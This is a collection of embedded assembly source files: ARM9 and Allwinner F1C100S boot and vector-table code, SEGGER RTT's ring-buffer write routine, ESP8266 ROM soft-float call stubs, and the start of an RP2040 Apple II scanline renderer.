PUBLIC _entry
SECTION .image_head:CODE:ROOT(2)
DATA
// image_head_t
// uint32_t magic;
DCD 0x474D495F
// uint32_t flags;
DCD 0
// uint32_t compressed_start;
DCD 0
// uint32_t compressed_size;
DCD 0
// uint32_t original_size;
// TODO: fix to image size
DCD 8 * 1024
// uint32_t link_address;
DCD 0x80000000
ARM
_entry:
// set vector to the low address
mrc p15, 0, r0, c1, c0, 0
bic r0, r0, #(1 << 13)
mcr p15, 0, r0, c1, c0, 0
// copy vector to the correct address
//adrl r0, _vector
ldr r0, =_vector
mrc p15, 0, r2, c1, c0, 0
ands r2, r2, #(1 << 13)
ldreq r1, =0x00000000
ldrne r1, =0xffff0000
ldmia r0!, {r2-r8, r10}
stmia r1!, {r2-r8, r10}
ldmia r0!, {r2-r8, r10}
stmia r1!, {r2-r8, r10}
b __iar_program_start
END
|
vsfteam/vsf | 2,151 | source/hal/driver/Allwinner/F1CX00S/F1C100S/startup/spl/asm/iar/spl_entry.S | /*****************************************************************************
* Copyright(C)2009-2022 by VSF Team *
* *
* Licensed under the Apache License, Version 2.0 (the "License"); *
* you may not use this file except in compliance with the License. *
* You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, software *
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *
* See the License for the specific language governing permissions and *
* limitations under the License. *
* *
****************************************************************************/
NAME spl_entry
EXTERN spl_c_entry
PUBLIC _entry
SECTION .image_entry:CODE:ROOT(2)
CODE32
// boot header
// uint32_t instruction;
B _entry
DATA
// magic[8];
DCB 'e', 'G', 'O', 'N', '.', 'B', 'T', '0'
// uint32_t checksum; // in section checksum
SECTION .image_length:CODE:ROOT(2)
DATA
// uint32_t length;
DCD 8 * 1024
// uint8_t spl_signature[4];
DCB 'S', 'P', 'L', 2
// uint32_t fel_script_address, fel_uenv_length, dt_name_offset, reserved, boot_media;
DCD 0, 0, 0, 0, 0
// uint32_t string_pool[13];
DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
CODE32
_entry
// Enter svc mode and mask fiq&irq
mrs r0, cpsr
bic r0, r0, #0x1f
orr r0, r0, #0xd3
msr cpsr_cxsf, r0
bl spl_c_entry
bx lr
END
|
vsfteam/vsf | 6,165 | source/hal/arch/arm/arm9/startup/app/asm/iar/entry.S | /*****************************************************************************
* Copyright(C)2009-2022 by VSF Team *
* *
* Licensed under the Apache License, Version 2.0 (the "License"); *
* you may not use this file except in compliance with the License. *
* You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, software *
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *
* See the License for the specific language governing permissions and *
* limitations under the License. *
* *
****************************************************************************/
NAME entry
SECTION FIQ_STACK:DATA:NOROOT(3)
SECTION IRQ_STACK:DATA:NOROOT(3)
SECTION SVC_STACK:DATA:NOROOT(3)
SECTION ABT_STACK:DATA:NOROOT(3)
SECTION UND_STACK:DATA:NOROOT(3)
EXTERN SWI_Handler
EXTERN IRQ_Handler
EXTERN FIQ_Handler
EXTERN _entry
PUBLIC _vector
save_regs macro
local b_10f, b_11f
str lr, [sp, #-4]
mrs lr, spsr
str lr, [sp, #-8]
str r1, [sp, #-12]
str r0, [sp, #-16]
mov r0, sp
mrs lr, cpsr
and lr, lr, #~(0x1f)
orr lr, lr, #0x13
msr cpsr_c, lr
ldr r1, [r0, #-4]
str r1, [sp, #-4]!
ldr r1, [r0, #-8]
str r1, [sp, #-(4 * 16)]
ldr r1, [r0, #-12]
ldr r0, [r0, #-16]
stmdb sp, {r0 - r14}^
sub sp, sp, #(4 * 16)
ldr r4, [sp]
and r0, r4, #0x1f
cmp r0, #0x10
beq b_10f
cmp r0, #0x13
beq b_11f
b .
b_10f: add r1, sp, #(4 * 17)
str r1, [sp, #(4 * 14)]
str lr, [sp, #(4 * 15)]
b_11f: add r1, sp, #(4 * 17)
str r1, [sp, #-4]!
mov r0, sp
endm
restore_regs macro
local b_20, b_21
mov r12, sp
ldr sp, [r12], #4
ldr r1, [r12], #4
msr spsr_cxsf, r1
and r0, r1, #0x1f
cmp r0, #0x10
beq b_20
cmp r0, #0x13
beq b_21
b .
b_20: ldr lr, [r12, #(4 * 15)]
ldmia r12, {r0 - r14}^
movs pc, lr
b_21: ldm r12, {r0 - r15}^
mov r0, r0
endm
SECTION .intvec:CODE:ROOT(2)
CODE32
_vector:
// uint32_t jmp_instruction;
ldr pc, _reset_handler
ldr pc, _undefined_instruction
ldr pc, _software_interrupt
ldr pc, _prefetch_abort
ldr pc, _data_abort
ldr pc, _not_used
ldr pc, _irq
ldr pc, _fiq
DATA32
_reset_handler
DCD reset_handler
_undefined_instruction:
DCD undefined_instruction
_software_interrupt:
DCD software_interrupt
_prefetch_abort:
DCD prefetch_abort
_data_abort:
DCD data_abort
_not_used:
DCD not_used
_irq:
DCD irq
_fiq:
DCD fiq
ARM
reset_handler:
; --------------------
; Mode, correspords to bits 0-5 in CPSR
#define MODE_MSK 0x1F ; Bit mask for mode bits in CPSR
#define USR_MODE 0x10 ; User mode
#define FIQ_MODE 0x11 ; Fast Interrupt Request mode
#define IRQ_MODE 0x12 ; Interrupt Request mode
#define SVC_MODE 0x13 ; Supervisor mode
#define ABT_MODE 0x17 ; Abort mode
#define UND_MODE 0x1B ; Undefined Instruction mode
#define SYS_MODE 0x1F ; System mode
MRS r0, cpsr ; Original PSR value
;; Set up the svc stack pointer.
BIC r0, r0, #MODE_MSK ; Clear the mode bits
ORR r0, r0, #SVC_MODE ; Set IRQ mode bits
MSR cpsr_c, r0 ; Change the mode
ldr r1, =sfe(SVC_STACK) ; End of SVC_STACK
BIC sp,r1,#0x7 ; Make sure SP is 8 aligned
;; Set up the abort stack pointer.
BIC r0, r0, #MODE_MSK ; Clear the mode bits
ORR r0, r0, #ABT_MODE ; Set IRQ mode bits
MSR cpsr_c, r0 ; Change the mode
ldr r1, =sfe(ABT_STACK) ; End of ABT_STACK
BIC sp,r1,#0x7 ; Make sure SP is 8 aligned
;; Set up the undefined instruction stack pointer.
BIC r0, r0, #MODE_MSK ; Clear the mode bits
ORR r0, r0, #UND_MODE ; Set IRQ mode bits
MSR cpsr_c, r0 ; Change the mode
ldr r1, =sfe(UND_STACK) ; End of UND_STACK
BIC sp,r1,#0x7 ; Make sure SP is 8 aligned
b _entry
// TODO: .align 5 for all vector entries
undefined_instruction:
prefetch_abort:
data_abort:
not_used:
b .
software_interrupt:
sub lr, lr, #4
save_regs
bl SWI_Handler
restore_regs
irq:
; IAR provide __irq __nested __arm to handle those
;sub lr, lr, #4
;save_regs
b IRQ_Handler
;restore_regs
fiq:
; IAR provide __fiq __nested __arm to handle those
;sub lr, lr, #4
;save_regs
bl FIQ_Handler
;restore_regs
END
|
vsfteam/vsf | 11,110 | source/component/3rd-party/segger/raw/RTT/SEGGER_RTT_ASM_ARMv7M.S | /*********************************************************************
* (c) SEGGER Microcontroller GmbH *
* The Embedded Experts *
* www.segger.com *
**********************************************************************
-------------------------- END-OF-HEADER -----------------------------
File : SEGGER_RTT_ASM_ARMv7M.S
Purpose : Assembler implementation of RTT functions for ARMv7M
Additional information:
This module is written to be assembler-independent and works with
GCC and clang (Embedded Studio) and IAR.
*/
#define SEGGER_RTT_ASM // Used to control processed input from header file
#include "SEGGER_RTT.h"
/*********************************************************************
*
* Defines, fixed
*
**********************************************************************
*/
#define _CCIAR 0
#define _CCCLANG 1
#if (defined __SES_ARM) || (defined __GNUC__) || (defined __clang__)
#define _CC_TYPE _CCCLANG
#define _PUB_SYM .global
#define _EXT_SYM .extern
#define _END .end
#define _WEAK .weak
#define _THUMB_FUNC .thumb_func
#define _THUMB_CODE .code 16
#define _WORD .word
#define _SECTION(Sect, Type, AlignExp) .section Sect ##, "ax"
#define _ALIGN(Exp) .align Exp
#define _PLACE_LITS .ltorg
#define _DATA_SECT_START
#define _C_STARTUP _start
#define _STACK_END __stack_end__
#define _RAMFUNC
//
// .text => Link to flash
// .fast => Link to RAM
// OtherSect => Usually link to RAM
// Alignment is 2^x
//
#elif defined (__IASMARM__)
#define _CC_TYPE _CCIAR
#define _PUB_SYM PUBLIC
#define _EXT_SYM EXTERN
#define _END END
#define _WEAK _WEAK
#define _THUMB_FUNC
#define _THUMB_CODE THUMB
#define _WORD DCD
#define _SECTION(Sect, Type, AlignExp) SECTION Sect ## : ## Type ## :REORDER:NOROOT ## (AlignExp)
#define _ALIGN(Exp) alignrom Exp
#define _PLACE_LITS
#define _DATA_SECT_START DATA
#define _C_STARTUP __iar_program_start
#define _STACK_END sfe(CSTACK)
#define _RAMFUNC SECTION_TYPE SHT_PROGBITS, SHF_WRITE | SHF_EXECINSTR
//
// .text => Link to flash
// .textrw => Link to RAM
// OtherSect => Usually link to RAM
// NOROOT => Allows linker to throw away the function, if not referenced
// Alignment is 2^x
//
#endif
#if (_CC_TYPE == _CCIAR)
NAME SEGGER_RTT_ASM_ARMv7M
#else
.syntax unified
#endif
#if defined (RTT_USE_ASM) && (RTT_USE_ASM == 1)
#define SHT_PROGBITS 0x1
/*********************************************************************
*
* Public / external symbols
*
**********************************************************************
*/
_EXT_SYM __aeabi_memcpy
_EXT_SYM __aeabi_memcpy4
_EXT_SYM _SEGGER_RTT
_PUB_SYM SEGGER_RTT_ASM_WriteSkipNoLock
/*********************************************************************
*
* SEGGER_RTT_WriteSkipNoLock
*
* Function description
* Stores a specified number of characters in SEGGER RTT
* control block which is then read by the host.
* SEGGER_RTT_WriteSkipNoLock does not lock the application and
* skips all data, if the data does not fit into the buffer.
*
* Parameters
* BufferIndex Index of "Up"-buffer to be used (e.g. 0 for "Terminal").
* pBuffer Pointer to character array. Does not need to point to a \0 terminated string.
* NumBytes Number of bytes to be stored in the SEGGER RTT control block.
* MUST be > 0!!!
* This is done for performance reasons, so no initial check has do be done.
*
* Return value
* 1: Data has been copied
* 0: No space, data has not been copied
*
* Notes
* (1) If there is not enough space in the "Up"-buffer, all data is dropped.
* (2) For performance reasons this function does not call Init()
* and may only be called after RTT has been initialized.
* Either by calling SEGGER_RTT_Init() or calling another RTT API function first.
*/
_SECTION(.text, CODE, 2)
_ALIGN(2)
_THUMB_FUNC
SEGGER_RTT_ASM_WriteSkipNoLock: // unsigned SEGGER_RTT_WriteSkipNoLock(unsigned BufferIndex, const void* pData, unsigned NumBytes) {
//
// Cases:
// 1) RdOff <= WrOff => Space until wrap-around is sufficient
// 2) RdOff <= WrOff => Space after wrap-around needed (copy in 2 chunks)
// 3) RdOff < WrOff => No space in buf
// 4) RdOff > WrOff => Space is sufficient
// 5) RdOff > WrOff => No space in buf
//
// 1) is the most common case for large buffers and assuming that J-Link reads the data fast enough
//
// Register usage:
// R0 Temporary needed as RdOff, <Tmp> register later on
// R1 pData
// R2 <NumBytes>
// R3 <Tmp> register. Hold free for subroutine calls
// R4 <Rem>
// R5 pRing->pBuffer
// R6 pRing (Points to active struct SEGGER_RTT_BUFFER_DOWN)
// R7 WrOff
//
PUSH {R4-R7}
ADD R3,R0,R0, LSL #+1
LDR.W R0,=_SEGGER_RTT // pRing = &_SEGGER_RTT.aUp[BufferIndex];
ADD R0,R0,R3, LSL #+3
ADD R6,R0,#+24
LDR R0,[R6, #+16] // RdOff = pRing->RdOff;
LDR R7,[R6, #+12] // WrOff = pRing->WrOff;
LDR R5,[R6, #+4] // pRing->pBuffer
CMP R7,R0
BCC.N _CheckCase4 // if (RdOff <= WrOff) { => Case 1), 2) or 3)
//
// Handling for case 1, later on identical to case 4
//
LDR R3,[R6, #+8] // Avail = pRing->SizeOfBuffer - WrOff - 1u; => Space until wrap-around (assume 1 byte not usable for case that RdOff == 0)
SUBS R4,R3,R7 // <Rem> (Used in case we jump into case 2 afterwards)
SUBS R3,R4,#+1 // <Avail>
CMP R3,R2
BCC.N _CheckCase2 // if (Avail >= NumBytes) { => Case 1)?
_Case4:
ADDS R5,R7,R5 // pBuffer += WrOff
ADDS R0,R2,R7 // v = WrOff + NumBytes
//
// 2x unrolling for the copy loop that is used most of the time
// This is a special optimization for small SystemView packets and makes them even faster
//
_ALIGN(2)
_LoopCopyStraight: // memcpy(pRing->pBuffer + WrOff, pData, NumBytes);
LDRB R3,[R1], #+1
STRB R3,[R5], #+1 // *pDest++ = *pSrc++
SUBS R2,R2,#+1
BEQ _CSDone
LDRB R3,[R1], #+1
STRB R3,[R5], #+1 // *pDest++ = *pSrc++
SUBS R2,R2,#+1
BNE _LoopCopyStraight
_CSDone:
#if _CORE_NEEDS_DMB // Do not slow down cores that do not need a DMB instruction here
DMB // Cortex-M7 may delay memory writes and also change the order in which the writes happen. Therefore, make sure that all buffer writes are finished, before updating the <WrOff> in the struct
#endif
STR R0,[R6, #+12] // pRing->WrOff = WrOff + NumBytes;
MOVS R0,#+1
POP {R4-R7}
BX LR // Return 1
_CheckCase2:
ADDS R0,R0,R3 // Avail += RdOff; => Space incl. wrap-around
CMP R0,R2
BCC.N _Case3 // if (Avail >= NumBytes) { => Case 2? => If not, we have case 3) (does not fit)
//
// Handling for case 2
//
ADDS R0,R7,R5 // v = pRing->pBuffer + WrOff => Do not change pRing->pBuffer here because 2nd chunk needs org. value
SUBS R2,R2,R4 // NumBytes -= Rem; (Rem = pRing->SizeOfBuffer - WrOff; => Space until end of buffer)
_LoopCopyBeforeWrapAround: // memcpy(pRing->pBuffer + WrOff, pData, Rem); => Copy 1st chunk
LDRB R3,[R1], #+1
STRB R3,[R0], #+1 // *pDest++ = *pSrc++
SUBS R4,R4,#+1
BNE _LoopCopyBeforeWrapAround
//
// Special case: First check that assumed RdOff == 0 calculated that last element before wrap-around could not be used
// But 2nd check (considering space until wrap-around and until RdOff) revealed that RdOff is not 0, so we can use the last element
// In this case, we may use a copy straight until buffer end anyway without needing to copy 2 chunks
// Therefore, check if 2nd memcpy is necessary at all
//
ADDS R4,R2,#+0 // Save <NumBytes> (needed as counter in loop but must be written to <WrOff> after the loop). Also use this inst to update the flags to skip 2nd loop if possible
BEQ.N _No2ChunkNeeded // if (NumBytes) {
_LoopCopyAfterWrapAround: // memcpy(pRing->pBuffer, pData + Rem, NumBytes);
LDRB R3,[R1], #+1 // pData already points to the next src byte due to copy loop increment before this loop
STRB R3,[R5], #+1 // *pDest++ = *pSrc++
SUBS R2,R2,#+1
BNE _LoopCopyAfterWrapAround
_No2ChunkNeeded:
#if _CORE_NEEDS_DMB // Do not slow down cores that do not need a DMB instruction here
DMB // Cortex-M7 may delay memory writes and also change the order in which the writes happen. Therefore, make sure that all buffer writes are finished, before updating the <WrOff> in the struct
#endif
STR R4,[R6, #+12] // pRing->WrOff = NumBytes; => Must be written after copying data because J-Link may read control block asynchronously while writing into buffer
MOVS R0,#+1
POP {R4-R7}
BX LR // Return 1
_CheckCase4:
SUBS R0,R0,R7
SUBS R0,R0,#+1 // Avail = RdOff - WrOff - 1u;
CMP R0,R2
BCS.N _Case4 // if (Avail >= NumBytes) { => Case 4) == 1) ? => If not, we have case 5) == 3) (does not fit)
_Case3:
MOVS R0,#+0
POP {R4-R7}
BX LR // Return 0
_PLACE_LITS
#endif // defined (RTT_USE_ASM) && (RTT_USE_ASM == 1)
_END
/*************************** End of file ****************************/
|
vshymanskyy/wasm2mpy | 15,006 | runtime/esp8266-rom.S |
// THIS FILE IS AUTO-GENERATED
// https://gist.github.com/agatti/2b486f925ec535ecf4d475cc96ac881d
.file "rom.S"
.section .text
.Ltext0:
// __adddf3
.section .text.__adddf3,"ax",@progbits
.align 4
.global __adddf3
.type __adddf3, @function
__adddf3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000C538 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __adddf3, .-__adddf3
// __addsf3
.section .text.__addsf3,"ax",@progbits
.align 4
.global __addsf3
.type __addsf3, @function
__addsf3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000C180 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __addsf3, .-__addsf3
// __divdf3
.section .text.__divdf3,"ax",@progbits
.align 4
.global __divdf3
.type __divdf3, @function
__divdf3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000CB94 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __divdf3, .-__divdf3
// __divdi3
.section .text.__divdi3,"ax",@progbits
.align 4
.global __divdi3
.type __divdi3, @function
__divdi3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000CE60 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __divdi3, .-__divdi3
// __divsi3
.section .text.__divsi3,"ax",@progbits
.align 4
.global __divsi3
.type __divsi3, @function
__divsi3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000DC88 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __divsi3, .-__divsi3
// __extendsfdf2
.section .text.__extendsfdf2,"ax",@progbits
.align 4
.global __extendsfdf2
.type __extendsfdf2, @function
__extendsfdf2:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000CDFC // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __extendsfdf2, .-__extendsfdf2
// __fixdfsi
.section .text.__fixdfsi,"ax",@progbits
.align 4
.global __fixdfsi
.type __fixdfsi, @function
__fixdfsi:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000CCB8 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __fixdfsi, .-__fixdfsi
// __fixunsdfsi
.section .text.__fixunsdfsi,"ax",@progbits
.align 4
.global __fixunsdfsi
.type __fixunsdfsi, @function
__fixunsdfsi:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000CD00 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __fixunsdfsi, .-__fixunsdfsi
// __fixunssfsi
.section .text.__fixunssfsi,"ax",@progbits
.align 4
.global __fixunssfsi
.type __fixunssfsi, @function
__fixunssfsi:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000C4C4 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __fixunssfsi, .-__fixunssfsi
// __floatsidf
.section .text.__floatsidf,"ax",@progbits
.align 4
.global __floatsidf
.type __floatsidf, @function
__floatsidf:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000E2F0 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __floatsidf, .-__floatsidf
// __floatsisf
.section .text.__floatsisf,"ax",@progbits
.align 4
.global __floatsisf
.type __floatsisf, @function
__floatsisf:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000E2AC // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __floatsisf, .-__floatsisf
// __floatunsidf
.section .text.__floatunsidf,"ax",@progbits
.align 4
.global __floatunsidf
.type __floatunsidf, @function
__floatunsidf:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000E2E8 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __floatunsidf, .-__floatunsidf
// __floatunsisf
.section .text.__floatunsisf,"ax",@progbits
.align 4
.global __floatunsisf
.type __floatunsisf, @function
__floatunsisf:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000E2A4 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __floatunsisf, .-__floatunsisf
// __muldf3
.section .text.__muldf3,"ax",@progbits
.align 4
.global __muldf3
.type __muldf3, @function
__muldf3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000C8F0 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __muldf3, .-__muldf3
// __muldi3
.section .text.__muldi3,"ax",@progbits
.align 4
.global __muldi3
.type __muldi3, @function
__muldi3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x40000650 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __muldi3, .-__muldi3
// __mulsf3
.section .text.__mulsf3,"ax",@progbits
.align 4
.global __mulsf3
.type __mulsf3, @function
__mulsf3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000C3DC // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __mulsf3, .-__mulsf3
// __subdf3
.section .text.__subdf3,"ax",@progbits
.align 4
.global __subdf3
.type __subdf3, @function
__subdf3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000C688 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __subdf3, .-__subdf3
// __subsf3
.section .text.__subsf3,"ax",@progbits
.align 4
.global __subsf3
.type __subsf3, @function
__subsf3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000C268 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __subsf3, .-__subsf3
// __truncdfsf2
.section .text.__truncdfsf2,"ax",@progbits
.align 4
.global __truncdfsf2
.type __truncdfsf2, @function
__truncdfsf2:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000CD5C // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __truncdfsf2, .-__truncdfsf2
// __udivdi3
.section .text.__udivdi3,"ax",@progbits
.align 4
.global __udivdi3
.type __udivdi3, @function
__udivdi3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000D310 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __udivdi3, .-__udivdi3
// __udivsi3
.section .text.__udivsi3,"ax",@progbits
.align 4
.global __udivsi3
.type __udivsi3, @function
__udivsi3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000E21C // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __udivsi3, .-__udivsi3
// __umoddi3
.section .text.__umoddi3,"ax",@progbits
.align 4
.global __umoddi3
.type __umoddi3, @function
__umoddi3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000D770 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __umoddi3, .-__umoddi3
// __umodsi3
.section .text.__umodsi3,"ax",@progbits
.align 4
.global __umodsi3
.type __umodsi3, @function
__umodsi3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000E268 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __umodsi3, .-__umodsi3
// __umulsidi3
.section .text.__umulsidi3,"ax",@progbits
.align 4
.global __umulsidi3
.type __umulsidi3, @function
__umulsidi3:
addi a1, a1, -16 // Allocate stack
s32i a12, a1, 0 // Save A12
s32i a13, a1, 4 // Save A13
mov a12, a0 // Save old return address
movi a13, 0x4000DCF0 // Load ROM address
callx0 a13 // Call into ROM
mov a0, a12 // Restore old return address
l32i a13, a1, 4 // Restore A13
l32i a12, a1, 0 // Restore A12
addi a1, a1, 16 // Allocate stack
ret.n // Done
.size __umulsidi3, .-__umulsidi3
// Done
|
vsladkov/reload-emulator | 1,463 | platforms/rp2040/systems/apple2/src/utils.S | #include "pico/config.h"
#include "hardware/regs/addressmap.h"
#include "hardware/regs/sio.h"
// Offsets suitable for ldr/str (must be <= 0x7c):
#define ACCUM0_OFFS (SIO_INTERP0_ACCUM0_OFFSET - SIO_INTERP0_ACCUM0_OFFSET)
#define ACCUM1_OFFS (SIO_INTERP0_ACCUM1_OFFSET - SIO_INTERP0_ACCUM0_OFFSET)
#define POP0_OFFS (SIO_INTERP0_POP_LANE0_OFFSET - SIO_INTERP0_ACCUM0_OFFSET)
.syntax unified
.cpu cortex-m0plus
.thumb
.macro decl_func_x name
.section .scratch_x.\name, "ax"
.global \name
.type \name,%function
.thumb_func
\name:
.endm
.macro decl_func_y name
.section .scratch_y.\name, "ax"
.global \name
.type \name,%function
.thumb_func
\name:
.endm
#define decl_func decl_func_x
.macro decode_pixel_data rd
ldr \rd, [r2, #POP0_OFFS]
lsls \rd, #8
ldr r7, [r2, #POP0_OFFS]
orrs \rd, r7
ldr r7, [r2, #POP0_OFFS]
lsls r7, #24
orrs \rd, r7
ldr r7, [r2, #POP0_OFFS]
lsls r7, #16
orrs \rd, r7
.endm
decl_func apple2_render_scanline
